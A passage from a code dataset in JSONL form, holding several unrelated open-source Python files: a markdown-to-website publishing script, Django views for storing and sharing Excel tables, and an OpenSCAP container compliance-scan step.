B, N, C = xyz1.shape\r\n        \r\n        inte_points1 = self.interpolation(points1, xyz1, points2, xyz2)     # [B, C2, N]\r\n        return inte_points1","repo_name":"fpthink/STNet","sub_path":"modules/pointnet2_utils.py","file_name":"pointnet2_utils.py","file_ext":"py","file_size_in_byte":15749,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"21"}
+{"seq_id":"10958751042","text":"from distutils.dir_util import copy_tree\n\nimport markdown2\nimport argparse\nimport datetime\nimport shutil\nimport json\nimport os\n\n'''\nExpects the working directory to be setup like the following...\n\n    WorkingDirectory:\n        EvanMPutnam.github.io           - Build files (Git repo)\n        WebsiteSRC                      - Src files (Git repo)\n\n1. Converts the input markdown file to html and adds an entry to the json object.\n2. Moves any new images in the images folder over to the src folder.\n3. Rebuilds the application with the new images and json file.\n4. Pushes off to github with a commit message detailing article name.\n'''\n\nBUILD_DIR = \"../EvanMPutnam.github.io\"\nBASE_DIR = os.getcwd()\n\n# ###########################################################\n# Description:      Converts a markdown file to html and\n#                   returns it as a string.\n# ###########################################################\ndef convert_file_to_html(file_path):\n    str_to_read = \"\"\n    with open(file_path) as fle:\n        str_to_read = fle.read()\n    str_to_write = markdown2.markdown(str_to_read, extras = [\"fenced-code-blocks\"])\n    print(str_to_write)\n    return str_to_write\n\n# ###########################################################\n# Description:      Manipulates the .json file that acts\n#                   as the database.\n# ###########################################################\ndef alter_json_file(json_file_path, title, summary, html_text, replace = False, tag = \"Articles\"):\n\n    with open(json_file_path, \"r+\") as fle:\n        # Load our magic json file\n        data = json.load(fle)\n\n        # If we are editing/replacing our information then do this.\n        if replace:\n            found = False\n\n            # Just do a simple linear search.  Never going to get to the point where this is an issue.\n            for i in range(0, len(data[tag])):\n                if data[tag][i]['title'] == title:\n                    found = True\n                    data[tag][i]['summary'] = summary\n                    data[tag][i]['text'] = html_text\n\n            # Raise a simple exception if you try to replace a json title that does not exist.\n            if not found:\n                raise Exception(\"Trying to replace with a title that does not exist.\")\n\n        # Otherwise just write a new entry to the data dictionary, push out to file.\n        else:\n            date = datetime.datetime.now().strftime(r\"%m/%d/%Y\")\n            new_dict = {\n                \"title\": title,\n                \"date\": date,\n                \"summary\": summary,\n                \"text\": html_text\n            }\n            data[tag].append(new_dict)\n        \n        # Write on out!\n        fle.seek(0)\n        json.dump(data, fle, indent=2)\n        \n# ###########################################################\n# Description:      Super primative function that copies all\n#                   files over from the image folder in the \n#                   specified markdown directory.\n# ###########################################################\ndef copy_over_images(source_folder, destination_folder):\n    for root, dirs, files in os.walk(source_folder):\n        for fle in files:\n            if not os.path.exists(os.path.join(destination_folder, fle)):\n                shutil.copy(os.path.join(source_folder, fle), os.path.join(destination_folder, fle))\n            else:\n                print(\"WARNING: Not copying as \" + fle + \" already exists in destination folder.\")\n\n# ###########################################################\n# Description:      Builds the application with NPM.\n# ###########################################################\ndef build_application():\n    os.system(\"npm run build\")\n\n# ###########################################################\n# Description:      Does all the git needed to push it off.\n# ###########################################################\ndef git_commit_and_push(commit_message):\n    os.system(\"git add *\")\n    os.system(\"git commit -m \\\"\" + commit_message +  \"\\\"\")\n    os.system(\"git push\")\n\n# ###########################################################\n# Description:      Helper function for boolean values in\n#                   arguments.\n# ###########################################################\ndef _bool_argument(val):\n    if isinstance(val, bool):\n        return val\n    elif val.lower() in ['true', \"t\", 'yes']:\n        return True\n    elif val.lower() in ['false', 'f', 'no']:\n        return False\n    else:\n        raise argparse.ArgumentTypeError(\"This field expects a boolean.\")\n\n\n\n\nif __name__ == \"__main__\":\n\n    # Specify arguments\n    parser = argparse.ArgumentParser(description = \"Converts markdown to html and pushes new build to site.\")\n    parser.add_argument(\"input\", help = \"Path to markdown file.\")\n    parser.add_argument(\"-n\", \"--name\", help = \"Name of article.\", required = True)\n    parser.add_argument(\"-s\", \"--summary\", help = \"Summary of article.\", required = True)\n    parser.add_argument('-u', \"--update_only\", type = _bool_argument, help = \"If we only want to build.\", default = False)\n    parser.add_argument(\"-r\", \"--replace\", type = _bool_argument, help = \"Replace article information.\", default = False)\n\n    # Parse arguments\n    args = parser.parse_args()\n\n    # Convert to HTML and add to json.\n    html = convert_file_to_html(args.input)\n    alter_json_file(\"../src/articles/projects.json\", args.name, args.summary, html, replace = args.replace)\n\n    # Get image path from markdown files\n    md_image_path = os.path.dirname(args.input) + \"/images\"\n\n    # Copy over the images to the folder that includes items.\n    copy_over_images(md_image_path, \"../public/images\")\n\n\n    if args.update_only == False:\n        # Build the application with NPM!\n        os.chdir(BASE_DIR + \"/../\")\n        build_application()\n\n        copy_tree(BASE_DIR + \"/../build\", BUILD_DIR)\n\n        # Commit and push!\n        commit_message = \"Committing article \" + args.name\n        os.chdir(BUILD_DIR)\n        git_commit_and_push(commit_message)\n","repo_name":"EvanMPutnam/Personal-Website","sub_path":"utils/generate_article.py","file_name":"generate_article.py","file_ext":"py","file_size_in_byte":6025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"43569031938","text":"from json.decoder import JSONDecodeError\nfrom django.shortcuts import render\nfrom django.http import StreamingHttpResponse, HttpResponseRedirect, HttpResponse\nfrom django.forms.models import model_to_dict\nfrom django.http import JsonResponse\nfrom openpyxl import load_workbook\nfrom users.models import VkUser\nfrom .models import ExcelTable\nfrom django.views.decorators.csrf import csrf_exempt\nimport json\nimport datetime\n# Create your views here.\n\n\n@csrf_exempt\ndef uploadExcelTable(request):\n    if request.method == 'POST':\n        user_pk = request.GET['user_pk']\n        is_public = request.GET['is_public']\n        title = request.GET['title']\n        user = VkUser.objects.get(pk=user_pk)\n\n        file_d = request.FILES['file']\n        excel_file = file_d\n        tables = buildTablesFromExcel(excel_file)\n\n        response = []\n        is_public_local = True if int(is_public) == 1 else False\n        for table in tables:\n            new_table = ExcelTable(\n                owner=user, data=json.dumps(table, default=str), is_public=is_public_local, title=title)\n            new_table.save()\n            response.append(\n                {'id': new_table.pk, 'is_public': new_table.is_public, 'owner': model_to_dict(new_table.owner), 'title': new_table.title})\n        return JsonResponse(response, safe=False)\n\n\n@csrf_exempt\ndef updateExcelTable(request):\n    if request.method == 'POST':\n        data = json.loads(request.body.decode('utf-8'))\n        title = data.get('title', '')\n        id = data.get('id', -1)\n        is_public = data.get('is_public', False)\n\n        table = ExcelTable.objects.get(pk=id)\n        table.is_public = is_public\n        table.title = title\n        table.save()\n        return HttpResponse(status=200)\n\n\n@csrf_exempt\ndef getExcelTables(request):\n    if request.method == 'POST':\n        data = json.loads(request.body.decode('utf-8'))\n        user_pk = data.get('user_pk', -1)\n\n        public = ExcelTable.objects.all().filter(\n            is_public=True).exclude(owner__pk=user_pk)\n        owned = ExcelTable.objects.all().filter(owner__pk=user_pk)\n\n        response = {'public': [], 'owned': []}\n\n        for t in public:\n            response['public'].append(\n                {'id': t.pk, 'is_public': t.is_public, 'owner': model_to_dict(t.owner), 'title': t.title})\n\n        for t in owned:\n            response['owned'].append(\n                {'id': t.pk, 'is_public': t.is_public, 'owner': model_to_dict(t.owner), 'title': t.title})\n\n        return JsonResponse(response, safe=False)\n\n\n@csrf_exempt\ndef getExcelTable(request):\n    if request.method == 'POST':\n        data = json.loads(request.body.decode('utf-8'))\n        user_pk = data.get('user_pk', -1)\n        table_pk = data.get('table_pk', -1)\n\n        t = ExcelTable.objects.get(pk=table_pk)\n        if t.is_public == False and t.owner.pk != user_pk:\n            return HttpResponse(status=403)\n\n        response = {'id': t.pk, 'is_public': t.is_public,\n                    'owner': model_to_dict(t.owner), 'data': json.loads(t.data), 'title': t.title}\n\n        return JsonResponse(response, safe=False)\n\n\n@csrf_exempt\ndef deleteExcelTable(request):\n    if request.method == 'DELETE':\n        id = request.GET['id']\n        table = ExcelTable.objects.get(pk=id)\n        table.delete()\n        return HttpResponse(status=200)\n\n# test\n\n\ndef buildTablesFromExcel(data_file):\n    result = []\n    wb = load_workbook(data_file)\n\n    for sheet in wb.sheetnames:\n        count = 0\n        ws = wb[sheet]\n        table = {\n            'table_names': [],\n            'rows': []\n        }\n\n        for row in ws:\n            if not any(cell.value for cell in row):\n                pass\n            else:\n                count += 1\n                if count == 1:\n                    for cell in row:\n                        table['table_names'].append(str(cell.value))\n\n                else:\n                    result_row = {}\n                    cell_count_max = len(table['table_names'])\n                    cell_count = 0\n                    for cell in row:\n                        cell_count += 1\n                        if cell_count > cell_count_max:\n                            pass\n                        else:\n                            value = '' if cell.value is None else cell.value\n                            index = table['table_names'][cell_count-1]\n                            result_row[index] = value\n                    table['rows'].append(result_row)\n        result.append(table)\n    return result\n","repo_name":"sovladlisin/vtarget-backend","sub_path":"excel_tables/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"37394629292","text":"\"\"\"Step Implementer for the container-image-static-compliance-scan step for OpenSCAP.\n\nStep Configuration\n------------------\n\nStep configuration expected as input to this step.\nCould come from either configuration file or\nfrom runtime configuration.\n\n| Configuration Key              | Required? | Default | Description\n|--------------------------------|-----------|---------|-----------\n| `oscap-input-definitions-uri`  | Yes       |         | URI to the OpenSCAP definitions file\n|                                |           |         | to do the evaluation with.\n|                                |           |         | Must use protocol file://|http://|https://.\n|                                |           |         | Must have file extension .xml|.bz2.\n| `oscap-profile`                | No        |         | OpenSCAP profile to evaluate.\n| `oscap-tailoring-uri`          | No        |         | URI to OpenSCAP tailoring file\n|                                |           |         | to do the evaluation with.\n|                                |           |         | Must use protocol file://|http://|https://.\n|                                |           |         | Must have file extension .xml|.bz2.\n| `oscap-fetch-remote-resources` | No        | True    | For Source DataStream and XCCDF files\n|                                |           |         | that have remote references fetch them if\n|                                |           |         | True, else don't.\n|                                |           |         |\n|                                |           |         | WARNING: evaluations will not be complete\n|                                |           |         | if input defintions require remote\n|                                |           |         | resources and this is not True.\n|                                |           |         | For disconnected environments the remote\n|                                |           |         | references should be brought to an internal\n|                                |           |         | mirror.\n\nExpected Previous Step Results\n------------------------------\n\nResults expected from previous steps that this step requires.\n\n| Step Name                | Result Key       | Description\n|--------------------------|------------------|--------------\n| `create-container-image` | `image-tar-file` | Image to scan\n\nResults\n-------\n\nResults output by this step.\n\n| Result Key      | Description\n|-----------------|------------\n| `html-report`   | HTML report generated by oscap eval\n| `xml-report`    | XML report generated by oscap eval\n| `stdout-report` | stdout report generated by oscap eval\n\"\"\"\n\nimport os\nimport re\nimport sys\nfrom distutils.util import strtobool\nfrom io import StringIO\n\nimport sh\nfrom tssc import DefaultSteps, StepImplementer\nfrom tssc.exceptions import TSSCException\nfrom tssc.utils.file import download_and_decompress_source_to_destination\nfrom tssc.utils.io import create_sh_redirect_to_multiple_streams_fn_callback\n\nDEFAULT_CONFIG = {\n    'oscap-fetch-remote-resources': True\n}\n\nREQUIRED_CONFIG_KEYS = [\n    'oscap-input-definitions-uri'\n]\n\nclass OpenSCAPGeneric(StepImplementer):\n    \"\"\"A generic OpenSCAP step implementer that can be used for more then one step.\n\n    Expected uses:\n    * container-image-static-compliance-scan\n    * container-image-static-vulnerability-scan\n    \"\"\"\n\n    # Example Input:\n    #    Title\tRHSA-2020:4186: spice and spice-gtk security update (Important)\n    #    Rule\txccdf_com.redhat.rhsa_rule_oval-com.redhat.rhsa-def-20204186\n    #    Ident\tRHSA-2020:4186\n    #    Ident\tCVE-2020-14355\n    #    Result\tpass\n    #\n    #    Title\tRHSA-2020:3658: librepo security update (Important)\n    #    Rule\txccdf_com.redhat.rhsa_rule_oval-com.redhat.rhsa-def-20203658\n    #    Ident\tRHSA-2020:3658\n    #    Ident\tCVE-2020-14352\n    #    Result\tfail\n    #\n    # Matches:\n    #    (Title\tRHSA-2020:4186: spice and spice-gtk security update (Important)\n    #    Rule\txccdf_com.redhat.rhsa_rule_oval-com.redhat.rhsa-def-20204186\n    #    Ident\tRHSA-2020:4186\n    #    Ident\tCVE-2020-14355\n    #    Result\t(pass))\n    #\n    #    (Title\tRHSA-2020:3658: librepo security update (Important)\n    #    Rule\txccdf_com.redhat.rhsa_rule_oval-com.redhat.rhsa-def-20203658\n    #    Ident\tRHSA-2020:3658\n    #    Ident\tCVE-2020-14352\n    #    Result\t(fail))\n    #\n    # Named Groups:\n    #    [0]ruleblock\n    #        Title\tRHSA-2020:4186: spice and spice-gtk security update (Important)\n    #        Rule\txccdf_com.redhat.rhsa_rule_oval-com.redhat.rhsa-def-20204186\n    #        Ident\tRHSA-2020:4186\n    #        Ident\tCVE-2020-14355\n    #        Result\tpass\n    #    [0]ruleresult\n    #        pass\n    #\n    #    [1]ruleblock\n    #        Title\tRHSA-2020:3658: librepo security update (Important)\n    #        Rule\txccdf_com.redhat.rhsa_rule_oval-com.redhat.rhsa-def-20203658\n    #        Ident\tRHSA-2020:3658\n    #        Ident\tCVE-2020-14352\n    #        Result\tfail\n    #    [1]ruleresult\n    #        fail\n    OSCAP_XCCDF_STDOUT_PATTERN = re.compile(\n        r'(?P<ruleblock>Title.+?Result\\s+(?P<ruleresult>[^\\n]+))\\n',\n        re.DOTALL\n    )\n    OSCAP_XCCDF_STDOUT_FAIL_PATTERN = re.compile(r'fail')\n\n    # NOTE: oval output far less useful then xccdf output but it is all but given some content\n    #       is only given in oval format and therefor supporting this is important\n    #\n    # Example Input:\n    #   Definition oval:com.redhat.rhsa:def:20202031: false\n    #   Definition oval:com.redhat.rhsa:def:20201998: true\n    #\n    # Matches:\n    #   (Definition oval:com.redhat.rhsa:def:20202031: (false))\n    #   (Definition oval:com.redhat.rhsa:def:20201998: (true))\n    #\n    # Named Groups:\n    #   [0]ruleblock\n    #       Definition oval:com.redhat.rhsa:def:20202031: false\n    #   [0]ruleresult\n    #       false\n    #\n    #   [1]ruleblock\n    #       Definition oval:com.redhat.rhsa:def:20201998: true\n    #   [1]ruleresult\n    #       true\n    OSCAP_OVAL_STDOUT_PATTERN = re.compile(\n        r'(?P<ruleblock>^.*:\\s*(?P<ruleresult>true|false)\\s*$)$',\n        re.MULTILINE\n    )\n    OSCAP_OVAL_STDOUT_FAIL_PATTERN = re.compile(r'true')\n\n    OSCAP_INFO_DOC_TYPE_PATTERN = re.compile(r'Document type: (?P<doctype>.+)')\n\n    @staticmethod\n    def step_implementer_config_defaults():\n        \"\"\"\n        Getter for the StepImplementer's configuration defaults.\n\n        Notes\n        -----\n        These are the lowest precedence configuration values.\n\n        Returns\n        -------\n        dict\n            Default values to use for step configuration values.\n        \"\"\"\n        return DEFAULT_CONFIG\n\n    @staticmethod\n    def required_runtime_step_config_keys():\n        \"\"\"\n        Getter for step configuration keys that are required before running the step.\n\n        See Also\n        --------\n        _validate_runtime_step_config\n\n        Returns\n        -------\n        array_list\n            Array of configuration keys that are required before running the step.\n        \"\"\"\n        return REQUIRED_CONFIG_KEYS\n\n    def _validate_runtime_step_config(self, runtime_step_config):\n        \"\"\"Validates required runtime step configuration is valid.\n\n        Validates that:\n        * required configuration is given\n        * oscap-input-definitions-uri\n          - starts with file://|http://|https://\n          - ends with .xml|.bz2\n\n        Raises\n        ------\n        AssertionError\n        * if runtime step configuration is invalid.\n        \"\"\"\n        super()._validate_runtime_step_config(runtime_step_config) # pylint: disable=protected-access\n\n        # validate that the given 'oscap-input-definitions-uri' starts with file://|http://|https://\n        oscap_input_definitions_uri = runtime_step_config['oscap-input-definitions-uri']\n        assert (re.match(r'^file://|http://|https://', oscap_input_definitions_uri)), \\\n            f\"Open SCAP input definitions source ({oscap_input_definitions_uri})\" \\\n            f\" must start with known protocol (file://|http://|https://).\"\n\n        # validate that the given 'oscap-input-definitions-uri' is an xml or bz2 file\n        oscap_input_definitions_uri_extension = os.path.splitext(oscap_input_definitions_uri)[1]\n        assert (re.match(r'\\.xml|\\.bz2', oscap_input_definitions_uri_extension)), \\\n            f\"Open SCAP input definitions source ({oscap_input_definitions_uri})\" \\\n            f\" must be of known type (xml|bz2), got: {oscap_input_definitions_uri_extension}\"\n\n    def _run_step(self): # pylint: disable=too-many-locals\n        \"\"\"Runs the OpenSCAP eval for a given input file against a given container.\n        \"\"\"\n        image_tar_file = ''\n        if(self.get_step_results(DefaultSteps.CREATE_CONTAINER_IMAGE) and \\\n          self.get_step_results(DefaultSteps.CREATE_CONTAINER_IMAGE).get('image-tar-file')):\n            image_tar_file = self.\\\n            get_step_results(DefaultSteps.CREATE_CONTAINER_IMAGE)['image-tar-file']\n        else:\n            raise RuntimeError('Missing image tar file from ' + DefaultSteps.CREATE_CONTAINER_IMAGE)\n\n        oscap_profile = self.get_config_value('oscap-profile')\n        oscap_fetch_remote_resources = self.get_config_value('oscap-fetch-remote-resources')\n\n        # create a container name from the tar file name, step name, and sub step name\n        container_name = os.path.splitext(os.path.basename(image_tar_file))[0]\n        container_name += f\"-{self.step_name}-{self.sub_step_name}\"\n\n        # import image tar file to vfs file system\n        print(f\"\\nImport image: {image_tar_file}\")\n        OpenSCAPGeneric.__buildah_import_image_from_tar(\n            image_tar_file=image_tar_file,\n            container_name=container_name\n        )\n        print(f\"Imported image: {image_tar_file}\")\n\n        # baking `buildah unshare` command to wrap other buildah commands with\n        # so that container does not need to be running in a privilaged mode to be able\n        # to function\n        buildah_unshare_comand = sh.buildah.bake('unshare') # pylint: disable=no-member\n\n        # mount the container filesystem and get mount path\n        #\n        # NOTE: run in the context of `buildah unshare` so that container does not\n        #       need to be run in a privilaged mode\n        print(f\"\\nMount container: {container_name}\")\n        container_mount_path = OpenSCAPGeneric.__buildah_mount_container(\n            buildah_unshare_comand=buildah_unshare_comand,\n            container_id=container_name\n        )\n        print(f\"Mounted container ({container_name}) with mount path: '{container_mount_path}'\")\n\n        # download the open scap input file\n        oscap_input_definitions_uri = self.get_config_value('oscap-input-definitions-uri')\n        print(f\"\\nDownload input definitions: {oscap_input_definitions_uri}\")\n        oscap_input_file = download_and_decompress_source_to_destination(\n            source_url=oscap_input_definitions_uri,\n            destination_dir=self.get_working_dir()\n        )\n        print(f\"Download input definitions to: {oscap_input_file}\")\n\n        # if specified download oscap tailoring file\n        oscap_tailoring_file = None\n        oscap_tailoring_file_uri = self.get_config_value('oscap-tailoring-uri')\n        if oscap_tailoring_file_uri:\n            print(f\"\\nDownload oscap tailoring file: {oscap_tailoring_file_uri}\")\n            oscap_tailoring_file = download_and_decompress_source_to_destination(\n                source_url=oscap_tailoring_file_uri,\n                destination_dir=self.get_working_dir()\n            )\n            print(f\"Download oscap tailoring file to: {oscap_tailoring_file}\")\n\n        # determine oscap eval type based on document type\n        print(f\"\\nDetermine OpenSCAP document type of input file: {oscap_input_file}\")\n        oscap_document_type = OpenSCAPGeneric.__get_oscap_document_type(\n            oscap_input_file=oscap_input_file\n        )\n        print(\n            \"Determined OpenSCAP document type of input file\"\n            f\" ({oscap_input_file}): {oscap_document_type}\"\n        )\n        print(\n            f\"\\nDetermine OpenSCAP eval type for input file ({oscap_input_file}) \"\n            f\"of document type: {oscap_document_type}\"\n        )\n        oscap_eval_type = OpenSCAPGeneric.__get_oscap_eval_type_based_on_document_type(\n            oscap_document_type=oscap_document_type\n        )\n        print(\n            f\"Determined OpenSCAP eval type of input file ({oscap_input_file}): {oscap_eval_type}\"\n        )\n\n        # Execute scan in the context of buildah unshare\n        #\n        # NOTE: run in the context of `buildah unshare` so that container does not\n        #       need to be run in a privilaged mode\n        oscap_out_file_path = self.write_working_file(f'oscap-{oscap_eval_type}-out')\n        oscap_xml_results_file_path = self.write_working_file(\n            f'oscap-{oscap_eval_type}-results.xml'\n        )\n        oscap_html_report_path = self.write_working_file(f'oscap-{oscap_eval_type}-report.html')\n        print(\"\\nRun oscap scan\")\n        oscap_eval_success, oscap_eval_fails = OpenSCAPGeneric.__run_oscap_scan(\n            buildah_unshare_comand=buildah_unshare_comand,\n            oscap_eval_type=oscap_eval_type,\n            oscap_input_file=oscap_input_file,\n            oscap_out_file_path=oscap_out_file_path,\n            oscap_xml_results_file_path=oscap_xml_results_file_path,\n            oscap_html_report_path=oscap_html_report_path,\n            container_mount_path=container_mount_path,\n            oscap_profile=oscap_profile,\n            oscap_tailoring_file=oscap_tailoring_file,\n            oscap_fetch_remote_resources=oscap_fetch_remote_resources\n        )\n        print(\n            f\"OpenSCAP Scan Completed.  Report: {oscap_html_report_path}\\n\"\n        )\n\n        # NOTE: this should not raise an exception once we have new Results object\n        #       since this is an \"expected\" \"valid\" failure...\n        #       but this is the solution for now\n        if not oscap_eval_success:\n            raise TSSCException(f\"OSCAP eval found issues:\\n{oscap_eval_fails}\")\n\n        results = {\n            'result': {\n                'success': True\n            },\n            'report-artifacts': [\n                {\n                    'name': 'html-report',\n                    'path': f'file://{oscap_html_report_path}'\n                },\n                {\n                    'name': 'xml-report',\n                    'path': f'file://{oscap_xml_results_file_path}'\n                },\n                {\n                    'name': 'stdout-report',\n                    'path': f'file://{oscap_out_file_path}'\n                }\n            ]\n        }\n        return results\n\n    @staticmethod\n    def __buildah_import_image_from_tar(image_tar_file, container_name):\n        \"\"\"Import a container image using buildah form a TAR file.\n\n        Parameters\n        ----------\n        image_tar_file : str\n            Path to TAR file to import as a container image.\n        container_name : str\n            name for the working container.\n\n        Returns\n        -------\n        str\n            Name of the imported container.\n        \"\"\"\n        # import image tar file to vfs file system\n        try:\n            sh.buildah( # pylint: disable=no-member\n                'from',\n                '--storage-driver', 'vfs',\n                '--name', container_name,\n                f\"docker-archive:{image_tar_file}\",\n                _out=sys.stdout,\n                _err=sys.stderr,\n                _tee='err'\n            )\n        except sh.ErrorReturnCode as error:\n            raise RuntimeError(\n                f'Unexpected runtime error importing the image ({image_tar_file}): {error}'\n            ) from error\n\n        return container_name\n\n    @staticmethod\n    def __buildah_mount_container(buildah_unshare_comand, container_id):\n        \"\"\"Use buildah to mount a container.\n\n        Parameters\n        ----------\n        buildah_unshare_comand : sh.buildah.unshare.bake()\n            A baked sh.buildah.unshare command to use to run this command in the context off\n            so that this can be done \"rootless\".\n        container_id : str\n            ID of the container to mount.\n\n        Returns\n        -------\n        str\n            Absolute path to the mounted container.\n        \"\"\"\n        mount_path = None\n        try:\n            buildah_mount_out_buff = StringIO()\n            buildah_mount_out_callback = create_sh_redirect_to_multiple_streams_fn_callback([\n                sys.stdout,\n                buildah_mount_out_buff\n            ])\n            buildah_mount_command = buildah_unshare_comand.bake(\"buildah\", \"mount\")\n            buildah_mount_command(\n                '--storage-driver', 'vfs',\n                container_id,\n                _out=buildah_mount_out_callback,\n                _err=sys.stderr,\n                _tee='err'\n            )\n            mount_path = buildah_mount_out_buff.getvalue().rstrip()\n        except sh.ErrorReturnCode as error:\n            raise RuntimeError(\n                f'Unexpected runtime error mounting container ({container_id}): {error}'\n            ) from error\n\n        return mount_path\n\n    @staticmethod\n    def __get_oscap_document_type(oscap_input_file):\n        \"\"\"Gets the OpenSCAP document type for a given input file.\n\n        Parameters\n        ----------\n        oscap_input_file : path\n            Path to OSCAP file to determine the OpenSCAP document type of.\n\n        Returns\n        -------\n        str\n            OpenSCAP document type. For example:\n            * Source Data Stream\n            * XCCDF Checklist\n            * OVAL Definitions\n\n        Raises\n        ------\n        ErrorReturnCode\n            If unexpected error occurred\n        \"\"\"\n\n        oscap_document_type = None\n        try:\n            oscap_info_out_buff = StringIO()\n            sh.oscap.info( # pylint: disable=no-member\n                oscap_input_file,\n                _out=oscap_info_out_buff\n            )\n            oscap_info_out = oscap_info_out_buff.getvalue().rstrip()\n            oscap_document_type_match = OpenSCAPGeneric.OSCAP_INFO_DOC_TYPE_PATTERN.search(\n                oscap_info_out\n            )\n            oscap_document_type = oscap_document_type_match.groupdict()['doctype']\n        except sh.ErrorReturnCode as error:\n            raise RuntimeError(\n                f\"Unexpected error getting document type of oscap input file\"\n                f\" ({oscap_input_file}): {error}\"\n            ) from error\n\n        return oscap_document_type\n\n    @staticmethod\n    def __get_oscap_eval_type_based_on_document_type(oscap_document_type):\n        \"\"\"Given an OSCAP document type returns the type of oscap eval that should be used.\n\n        Parameters\n        ----------\n        oscap_document_type : str\n            OSCAP Document type to get the oscap eval type for.\n\n        Returns\n        -------\n        str\n            OSCAP eval type to perform on document with given oscap document type.\n        \"\"\"\n        oscap_eval_type = None\n\n        if oscap_document_type == 'Source Data Stream':\n            oscap_eval_type = 'xccdf'\n        elif oscap_document_type == 'XCCDF Checklist':\n            oscap_eval_type = 'xccdf'\n        elif oscap_document_type == 'OVAL Definitions':\n            oscap_eval_type = 'oval'\n\n        return oscap_eval_type\n\n    @staticmethod\n    def __run_oscap_scan( # pylint: disable=too-many-arguments,too-many-locals,too-many-branches,too-many-statements\n        buildah_unshare_comand,\n        oscap_eval_type,\n        oscap_input_file,\n        oscap_out_file_path,\n        oscap_xml_results_file_path,\n        oscap_html_report_path,\n        container_mount_path,\n        oscap_profile=None,\n        oscap_tailoring_file=None,\n        oscap_fetch_remote_resources=True\n    ):\n        \"\"\"Run an oscap scan in the context of a buildah unshare to run \"rootless\".\n\n        Parameters\n        ----------\n        buildah_unshare_comand : sh.buildah.unshare.bake()\n            A baked sh.buildah.unshare command to use to run this command in the context off\n            so that this can be done \"rootless\".\n        oscap_eval_type : str\n            The type of oscap eval to perform. Must be a valid oscap eval type.\n            EX: xccdf, oval\n        oscap_input_file : str\n            Path to rules file passed to the oscap command.\n        oscap_out_file_path : str\n            Path to write the stdout and stderr of running the oscap command to.\n        oscap_xml_results_file_path : str\n            Write the scan results into this file.\n        oscap_html_report_path : str\n            Write the human readable (HTML) report into this file.\n        container_mount_path : str\n            Path to the mounted container to scan.\n        oscap_tailoring_file : str\n            XCCF Tailoring file.\n            See:\n            - https://www.open-scap.org/security-policies/customization/\n            - https://www.open-scap.org/resources/documentation/customizing-scap-security-guide-for-your-use-case/ # pylint: disable=line-too-long\n            - https://static.open-scap.org/openscap-1.2/oscap_user_manual.html#_how_to_tailor_source_data_stream # pylint: disable=line-too-long\n        oscap_profile : str\n            OpenSCAP profile to evaluate. Must be a valid profile in the given oscap_input_file.\n            EX: if you perform an `oscap info oscap_input_file` the profile must be listed.\n\n        Returns\n        -------\n        oscap_eval_success : bool\n            True if oscap eval passed all rules\n            False if oscap eval failed any rules\n        oscap_eval_fails : str\n            If oscap_eval_success is True then indeterminate.\n            If oscap_eval_success is False then string of all of the failed rules.\n\n        Raises\n        ------\n        RuntimeError\n            If unexpected error running oscap scan.\n        \"\"\"\n\n        oscap_profile_flag = None\n        if oscap_profile is not None:\n            oscap_profile_flag = f\"--profile={oscap_profile}\"\n\n        oscap_fetch_remote_resources_flag = None\n        if isinstance(oscap_fetch_remote_resources, str):\n            oscap_fetch_remote_resources = strtobool(oscap_fetch_remote_resources)\n        if oscap_fetch_remote_resources:\n            oscap_fetch_remote_resources_flag = \"--fetch-remote-resources\"\n\n        oscap_tailoring_file_flag = None\n        if oscap_tailoring_file is not None:\n            oscap_tailoring_file_flag = f\"--tailoring-file={oscap_tailoring_file}\"\n\n        oscap_eval_success = None\n        oscap_eval_out_buff = StringIO()\n        oscap_eval_out = \"\"\n        oscap_eval_fails = None\n        try:\n            oscap_chroot_command = buildah_unshare_comand.bake(\"oscap-chroot\")\n            with open(oscap_out_file_path, 'w') as oscap_out_file:\n                out_callback = create_sh_redirect_to_multiple_streams_fn_callback([\n                    oscap_eval_out_buff,\n                    oscap_out_file\n                ])\n                err_callback = create_sh_redirect_to_multiple_streams_fn_callback([\n                    oscap_eval_out_buff,\n                    oscap_out_file\n                ])\n                oscap_chroot_command(\n                    container_mount_path,\n                    oscap_eval_type,\n                    'eval',\n                    oscap_profile_flag,\n                    oscap_fetch_remote_resources_flag,\n                    oscap_tailoring_file_flag,\n                    f'--results={oscap_xml_results_file_path}',\n                    f'--report={oscap_html_report_path}',\n                    oscap_input_file,\n                    _out=out_callback,\n                    _err=err_callback,\n                    _tee='err'\n                )\n                oscap_eval_success = True\n        except sh.ErrorReturnCode_1 as error: # pylint: disable=no-member\n            oscap_eval_success = error\n        except sh.ErrorReturnCode_2 as error: # pylint: disable=no-member\n            # XCCDF: If there is at least one rule with either fail or unknown result,\n            #           oscap-scan finishes with return code 2.\n            # OVAL:  Never returned\n            #\n            # Source: https://www.systutorials.com/docs/linux/man/8-oscap/\n            if oscap_eval_type == 'xccdf':\n                oscap_eval_success = False\n            else:\n                oscap_eval_success = error\n        except sh.ErrorReturnCode as error:\n            oscap_eval_success = error\n\n        # get the oscap output\n        oscap_eval_out = oscap_eval_out_buff.getvalue()\n\n        # parse the oscap output\n        # NOTE: oscap is puts carrage returns (\\r / ^M) in their output, remove them\n        oscap_eval_out = re.sub('\\r', '', oscap_eval_out)\n\n        # print the oscap output no matter the results\n        print(oscap_eval_out)\n\n        # if unexpected error throw error\n        if isinstance(oscap_eval_success, Exception):\n            raise RuntimeError(\n                f\"Unexpected error running 'oscap {oscap_eval_type} eval': {oscap_eval_success} \"\n            ) from oscap_eval_success\n\n        # NOTE: oscap oval eval returns exit code 0 whether or not any rules failed\n        #       need to search output to determine if there were any rule failures\n        if oscap_eval_type == 'oval' and oscap_eval_success:\n            oscap_eval_fails = \"\"\n            for match in OpenSCAPGeneric.OSCAP_OVAL_STDOUT_PATTERN.finditer(oscap_eval_out):\n                # NOTE: need to do regex and not == because may contain xterm color chars\n                if OpenSCAPGeneric.OSCAP_OVAL_STDOUT_FAIL_PATTERN.search(\n                    match.groupdict()['ruleresult']\n                ):\n                    oscap_eval_fails += match.groupdict()['ruleblock']\n                    oscap_eval_fails += \"\\n\"\n                    oscap_eval_success = False\n\n        # if failed xccdf eval then parse out the fails\n        if oscap_eval_type == 'xccdf' and not oscap_eval_success:\n            oscap_eval_fails = \"\"\n            for match in OpenSCAPGeneric.OSCAP_XCCDF_STDOUT_PATTERN.finditer(oscap_eval_out):\n                # NOTE: need to do regex and not == because may contain xterm color 